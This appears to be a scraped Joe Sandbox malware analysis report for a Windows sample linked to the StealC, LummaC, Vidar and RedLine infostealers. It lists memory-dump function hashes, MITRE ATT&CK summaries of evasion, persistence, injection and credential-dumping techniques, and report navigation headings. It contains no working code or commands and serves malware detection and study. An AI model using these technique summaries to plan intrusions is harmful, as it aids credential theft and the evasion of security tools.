Instruction Fuzzy Hash: E961E274E00218CFDF14DFA9D8946EEBBB6BF89300F10852AD54AAB364DB355995CF40

Function 05368B07 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2288054482.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cc7fa3dd01f375843fe7242e78f5b4372fbed828d979e9af1553aa526b65f19
Instruction ID: 9da515a5f9067fb26c65cdca4a34d7e08e6b6a987ce77212327392120f7d00f3
Opcode Fuzzy Hash: 0cc7fa3dd01f375843fe7242e78f5b4372fbed828d979e9af1553aa526b65f19
Instruction Fuzzy Hash: F1413B74A001199FDF059F64D894AAEBBF7FF88310F148929E80697394CB74DC66CB94

Function 053687C8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2288054482.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebf87ef1f0e020818084f728cd496c17d1388d95b28d4c86e9b0b987488dece8
Instruction ID: a1893095c7b2b5d7955997c1114f4088b2c5af00223dd26731fda3a0355c113c
Opcode Fuzzy Hash: ebf87ef1f0e020818084f728cd496c17d1388d95b28d4c86e9b0b987488dece8
Instruction Fuzzy Hash: 57213775A0011A9FCB10DFA9C484A6EBBF6FF89310F158469E905DB365DB70EC81CBA1

Function 053507C8 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2286715644.0000000005350000.00000040.00000800.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5350000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcf3e30a4f524acbf842e9929fd721521bbf2ab7ee02531ca531f8bd727dc1a6
Instruction ID: e2d03c9a3ad4efe390950bc54adbf79949ea3d922eb8d2f36febb1b7090338bc
Opcode Fuzzy Hash: bcf3e30a4f524acbf842e9929fd721521bbf2ab7ee02531ca531f8bd727dc1a6
Instruction Fuzzy Hash: 26114276E0011A9FCB15DF99D845AEFFBB9FB88311F10442AE915D7240D7719A11CBE0

Function 053507C3 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2286715644.0000000005350000.00000040.00000800.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5350000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 891ebf15fc88b847974aa102a9bed84fc376ed37dfbbf2f22748679cc11eed28
Instruction ID: 022818b6577e2791f193fca6595250d686125f505fb3f8d40bba8bceb3df6142
Opcode Fuzzy Hash: 891ebf15fc88b847974aa102a9bed84fc376ed37dfbbf2f22748679cc11eed28
Instruction Fuzzy Hash: 5111EF75E0021A9FCB15DFA9D8459AEBFB9FB48311F10442AE915E7240D771A911CBD0

Function 05364359 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2288054482.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65cb0aa4f2cfe362ee7d16eee6082dc29a122b6ad654b5d5fa15aab19e89330d
Instruction ID: 41b80ebfd108866f71d4dfb2ef04ee34b9021cb587c4af42d8d8b49f58ba7afa
Opcode Fuzzy Hash: 65cb0aa4f2cfe362ee7d16eee6082dc29a122b6ad654b5d5fa15aab19e89330d
Instruction Fuzzy Hash: 4D11FAB8D04209DFCB44EFE9D9857AEBBF5FB48300F20856A9805E3344EB305A51CB91

Function 05366C56 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2288054482.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b19d0d7d8c8c7dd75e9e52eb6c108979c4d794e57905ff994eb6a4baec00126
Instruction ID: fe369ca4f21d8f873848482804e681909386a708ffebe35d1450d838f28da26d
Opcode Fuzzy Hash: 8b19d0d7d8c8c7dd75e9e52eb6c108979c4d794e57905ff994eb6a4baec00126
Instruction Fuzzy Hash: E2219F74E00A29CFCB60CF58CC91AAABBB1FB49342F4091D9A809A7354D7319E90CF40

Function 05357EE2 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2286715644.0000000005350000.00000040.00000800.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5350000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f82ad5a998d79d23481f3ba76e6b08580b7be91458e6de8526f351a75dd31200
Instruction ID: 6026c4ad2c442ac1728ab02333c98af0cc04308c0a44b63f741d353f047dbdfe
Opcode Fuzzy Hash: f82ad5a998d79d23481f3ba76e6b08580b7be91458e6de8526f351a75dd31200
Instruction Fuzzy Hash: 1011DBB5D10219DFCB44DFA9D5846AEBBF5FF48310F1084A9D815A3354EB305A01CF91

Function 05364368 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2288054482.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f26fc268a04d5666f0646413a2b7a2d05c6bf6d0442707a8d95661c6aea0149
Instruction ID: 2a577b486ee4abdaab45f7d1d299c5cb0f3f0582ce477b85f87080f6f7c455f2
Opcode Fuzzy Hash: 2f26fc268a04d5666f0646413a2b7a2d05c6bf6d0442707a8d95661c6aea0149
Instruction Fuzzy Hash: FA11DBB8D04209DFCB44EFE9D5856AEBBF5FB48310F20856A9805E3344EB305A51DF91

Function 053507C1 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2286715644.0000000005350000.00000040.00000800.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5350000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c2b3ee41e0f4cc96cd27b25b5710388f5b236261ea3680f98b4a658c358b5bd
Instruction ID: 434570b9ec3a89aa71d155f69494e3c5d81564bff5a3b2cd3d64445d33201dff
Opcode Fuzzy Hash: 2c2b3ee41e0f4cc96cd27b25b5710388f5b236261ea3680f98b4a658c358b5bd
Instruction Fuzzy Hash: 2801E875E0021ADFCB15CF95D848EFEBBB5FB48321F10942AE961A6200D3759651CFD0

Function 053519B8 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2286715644.0000000005350000.00000040.00000800.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5350000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7230131cb06e4481fd305642c616c56bbac7963c4bb5e9688536152449848fae
Instruction ID: dd60a1b4eebf5d90daadbc0f342a677318ce4cfa179feabe55cf44c15acb1581
Opcode Fuzzy Hash: 7230131cb06e4481fd305642c616c56bbac7963c4bb5e9688536152449848fae
Instruction Fuzzy Hash: D0F0EC35D0420DAFCB51EFA4D805ADDBBB5EB05310F409265EC59A2220E7359655EF81

Function 053650B0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2288054482.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76c0da8952785aa42540d68d3dcac9befc7c0c201d2af83a39507c58c82a69c0
Instruction ID: c532ae0b9d52850dc978435223b18576d4ffb82f4965d4990952488f4989f36b
Opcode Fuzzy Hash: 76c0da8952785aa42540d68d3dcac9befc7c0c201d2af83a39507c58c82a69c0
Instruction Fuzzy Hash: 18F04F75D84209EFCB40DFA4D804ADDBBB5EB45310F10C269E814A3311E7348665EF90

Function 053507B8 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2286715644.0000000005350000.00000040.00000800.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5350000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3775b64013c058246126e68dcb559fcc58e31bebe9a3e0762886d5b65a65c5e1
Instruction ID: e83a2197102af46595b0ae1790606745b678e9c1f5ac754bcd1bd9abbddac9da
Opcode Fuzzy Hash: 3775b64013c058246126e68dcb559fcc58e31bebe9a3e0762886d5b65a65c5e1
Instruction Fuzzy Hash: 48F01D76E0021AEFCB15CF94D848EFEFBBAFB48321F10542AE912A6200D7719650CBD0

Function 053687B8 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2288054482.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cc84be6f4473cb9febd935b4b63240dd5dd5687ea81565bce8f4498b34d1c61
Instruction ID: 82c953bcf10ea4c130ba9831617fd3d22ebf0340093ff1a09c12dd62285e97b2
Opcode Fuzzy Hash: 6cc84be6f4473cb9febd935b4b63240dd5dd5687ea81565bce8f4498b34d1c61
Instruction Fuzzy Hash: 6DE092B6600109ABDB105965EC4DF9BBFACFB98275F018139FE01D2606E6B580148571

Function 05350730 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2286715644.0000000005350000.00000040.00000800.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5350000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c44f7cd657062ae0e5dd8bbfdcf6ef02842d33022b0d1c09353d1dd102e1112
Instruction ID: 1d0d0ddef867bb0fe0ce3d0c83d91d71ab1773360afd44aee191258876d4b0db
Opcode Fuzzy Hash: 8c44f7cd657062ae0e5dd8bbfdcf6ef02842d33022b0d1c09353d1dd102e1112
Instruction Fuzzy Hash: 40E06539305259AB8F0A1E55982CCBE3F6EEBC9332B048015FD56CA210CE75D9219BA0

Function 05364C22 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2288054482.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f39b34613a205b8304933863e9d47c57b2ca1b2dbe8343c0e9aed321ff85b548
Instruction ID: 3cf760099aae9ef61e4aaca1ef74608b372fae5842d9b23d829b17367ce9339f
Opcode Fuzzy Hash: f39b34613a205b8304933863e9d47c57b2ca1b2dbe8343c0e9aed321ff85b548
Instruction Fuzzy Hash: 3EF0E53090421B97CB10AFE4E9047EEF778FF81720F148528D44863540E7346649C7E1

Function 053506A8 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2286715644.0000000005350000.00000040.00000800.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5350000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4a29c9f73a61269eac2ceae9fe03da4dfb240317d48cf2e195db058daf62be7
Instruction ID: 6f242f1d3d8b90e0dffceb2d582e7d241b144f59080af611efb2d4e6f566d356
Opcode Fuzzy Hash: e4a29c9f73a61269eac2ceae9fe03da4dfb240317d48cf2e195db058daf62be7
Instruction Fuzzy Hash: A7F08CB5D08108EBCB54CFA4E8087EDBBF4EB44310F1091A5AC15A2300D6356A05DF41

Function 05364B50 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2288054482.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcda5d61240310a479946c7e29df3b1408758cd483301f78b4eb6361a52cafd7
Instruction ID: c0fb0745b70767ce31e189c22a0786604742272f8e18649e3da074ffe77a416e
Opcode Fuzzy Hash: dcda5d61240310a479946c7e29df3b1408758cd483301f78b4eb6361a52cafd7
Instruction Fuzzy Hash: CEF0D475D09209FFCB50DF98D444B9DBBB9FB48310F00C1A9E894A3314EB399A59EB50

Function 05350728 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2286715644.0000000005350000.00000040.00000800.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5350000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc7074ebb155c8545a2a331162e6501b04300bc1082ae103dbc13dbc1b3268f2
Instruction ID: 75e268b7e4b25737f993f965a63402053b564b697a66326dff7bb4d69cbbddb2
Opcode Fuzzy Hash: dc7074ebb155c8545a2a331162e6501b04300bc1082ae103dbc13dbc1b3268f2
Instruction Fuzzy Hash: 01E0C83530525567CB0D155DA81CC7F3F6E9BC53317144115FD26C6190DE71DD515790

Function 05364318 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2288054482.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69a8d3abed9ad34ed148f63012568d712df44427b44d38a19920502242fc5d24
Instruction ID: 6b444de8f8b7ea025102cd82e4ecda86610f5b5e1aadde4077a65dfab6bb74e1
Opcode Fuzzy Hash: 69a8d3abed9ad34ed148f63012568d712df44427b44d38a19920502242fc5d24
Instruction Fuzzy Hash: B0E08670D59209DBCB50DFA8E54939AB7F8E709710F5448A8D445C3200EB759A14C751

Function 05364B60 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2288054482.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1d84c992df155fdd702c94388b4b9099c1a3a53a600205eb91db5fef3cbc306
Instruction ID: 2cb5dceec83042465655643c3400f768314e275b82054bee915c5c245d268b05
Opcode Fuzzy Hash: e1d84c992df155fdd702c94388b4b9099c1a3a53a600205eb91db5fef3cbc306
Instruction Fuzzy Hash: 28E0E574D0820CEFCB94DFA8E444A9CBBB9FB48310F00C1A9E898A3314D7765A54EF80

Function 053643F1 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2288054482.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c2453a25e12a60e7c045121110b09c7c203e1137a1b647e1730bf22a7a64c9f
Instruction ID: 4a997d1f5c85d80386ba9ddb0a11f93837aaaf982b1094ad78c81c11a5782b8e
Opcode Fuzzy Hash: 5c2453a25e12a60e7c045121110b09c7c203e1137a1b647e1730bf22a7a64c9f
Instruction Fuzzy Hash: 04E0C2B2C09109DBCB20EFA4E4093AA7AF8EB14704F1088B9E809D3300FB759A108780

Function 05350708 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2286715644.0000000005350000.00000040.00000800.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5350000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31ca9e9b8a99bf8200fbdfe01a58aafe2c5772c158333b6ded57568fbc6a3ac8
Instruction ID: 0c044da3cffbb5d4a258b74b89a3a7c339b05dece405509c3df46c3bfd011230
Opcode Fuzzy Hash: 31ca9e9b8a99bf8200fbdfe01a58aafe2c5772c158333b6ded57568fbc6a3ac8
Instruction Fuzzy Hash: A7B01271754300A6D90046404A06F057E115790B02F004040B30C0C0C085B12010DB11

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report gobEmOm5sr.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Vidar

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Spreading

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

